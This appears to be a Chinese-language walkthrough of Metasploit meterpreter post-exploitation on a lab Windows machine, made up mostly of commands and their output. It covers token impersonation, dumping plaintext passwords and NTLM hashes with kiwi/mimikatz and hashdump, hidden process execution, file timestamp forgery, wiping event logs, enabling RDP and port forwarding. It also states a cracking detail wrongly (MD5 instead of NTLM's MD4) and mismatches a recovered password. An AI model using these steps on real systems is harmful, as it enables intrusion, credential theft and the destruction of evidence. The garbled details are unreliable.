msfconsole -- windows渗透示例
meterpreter 层级
在 meterpreter 层级 通过help 命令 或者 ?查看快捷命令, 使用run 命令 执行 POST目录中各种工具指令 并且添加参数
exit 退出当前层级
background 把当前session 隐藏后台
sessions -l 查看当前连接的session
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
4 meterpreter x64/windows NT AUTHORITY\SYSTEM @ 123-PC 10.0.0.9:4444 -> 10.0.0.136:51837 (10.0.0.136)
8 meterpreter x64/windows NT AUTHORITY\SYSTEM @ 123-PC 10.0.0.9:4444 -> 10.0.0.136:54169 (10.0.0.136)
9 meterpreter x86/windows NT AUTHORITY\SYSTEM @ 123-PC 10.0.0.9:4444 -> 10.0.0.136:54635 (10.0.0.136)
meterpreter > background
[*] Backgrounding session 9...
msf6 exploit(windows/smb/psexec) >
msf6 exploit(windows/smb/psexec) > sessions 9 # 直接进入连接中
[*] Starting interaction with 9...
提权模式
’‘复制凭证
meterpreter > use incognito
Loading extension incognito...Success.
# 提权到system 是最高权限
远程操作
# 上传文件
meterpreter > upload /root/123.txt C:
# 下载文件
meterpreter > download c:\\0000.txt /root/
[*] Downloading: c:\0000.txt -> /root/0000.txt
[*] Downloaded 4.00 B of 4.00 B (100.0%): c:\0000.txt -> /root/0000.txt
[*] download : c:\0000.txt -> /root/0000.txt
# 执行文件
meterpreter > execute -f c:\\44
Process 1412 created.
上传客户端文件到远程主机 成功上线
客户端软件 -- 涉及到的 加密,加壳 ,免杀 等的技术,在后面章节提到。
开启远程通道
meterpreter > # 这个shell 是建立了一个远程的shell通道
meterpreter > shell # 进入远程主机的cmd ,可以使用windows系统的指令集
1、直接只用快捷命令
1、模拟任意用户登录
在域环境中 套用在该机器上登录的域管理员的账户和密码
meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
123-PC\Administrator
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
爆破用户密码
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain LM NTLM SHA1
-------- ------ -- ---- ----
Administrator 123-PC 44efce164ab921caaad3b435b51404ee 32ed87bdb5fdc5e9cba88547376818d4 6ed5833cf35286ebf8662b7b5949f0d742bbec3f
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
123-PC$ WORKGROUP (null)
Administrator 123-PC 123456
tspkg credentials
=================
Username Domain Password
-------- ------ --------
Administrator 123-PC 123456
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
123-pc$ WORKGROUP (null)
Administrator 123-PC 123456
# help kiwi 查看帮忙命令
使用其他工具 爆破wind系统密码 游览器密码 邮箱密码等等
密码读取器 等等
2、键盘 摄像头 等外置设备的监控
webcam_list
3、 文件的执行
execute -H -i -f cmd.exe # 创建新进程cmd.exe -H 不可见 -i 交互
4、文件时间欺骗
timestomp 改变文件的时间戳
-v 查看文件的时间戳
timestomp C:\123.txt -f C:\123.exe 复制123.txt 的时间戳到123.exe
5、清除目标系统日志
meterpreter > clearev
[*] Wiping 587 records from Application...
[*] Wiping 1716 records from System...
[*] Wiping 520 records from Security...
meterpreter >
6、注册表
nc 命令 反弹shell
7、防火墙操作
关闭
开启
开启程序的出站和入站
2、使用外部插件
POST 指令信息涵盖了各种系统的指令插件
aix
android
apple_ios
bsd
firefox
hardware
linux
multi
networking
osx
solaris
windows
1、开启windows 远程连接 也是POST的一个指令
meterpreter > run post/windows/manage/enable_rdp
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20210609141023_default_10.0.0.136_host.windows.cle_325964.txt
meterpreter >
1、用户体系
meterpreter > getsystem # 提权命令
[-] Already running as SYSTEM
meterpreter > getuid # 查看用户权限
Server username: NT AUTHORITY\SYSTEM
meterpreter >
密码窥探
# C:\Windows\System32\config\SAM windows中密码
meterpreter > hashdump #自动把sam文件导出来
Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
32ed87bdb5fdc5e9cba88547376818d4 --》1223456
暴力破解
把字典里的值MD5编码后和SAM文件的数值对比
网络部分
端口转发
portfwd add -l 6666 -p 3389 -r 10.0.0.136
把远程主机3389端口设置成本机的6666端口,访问本机的6666端口的时候,本机将转发流量到远程主机的3389上。
属于正向连接
port delete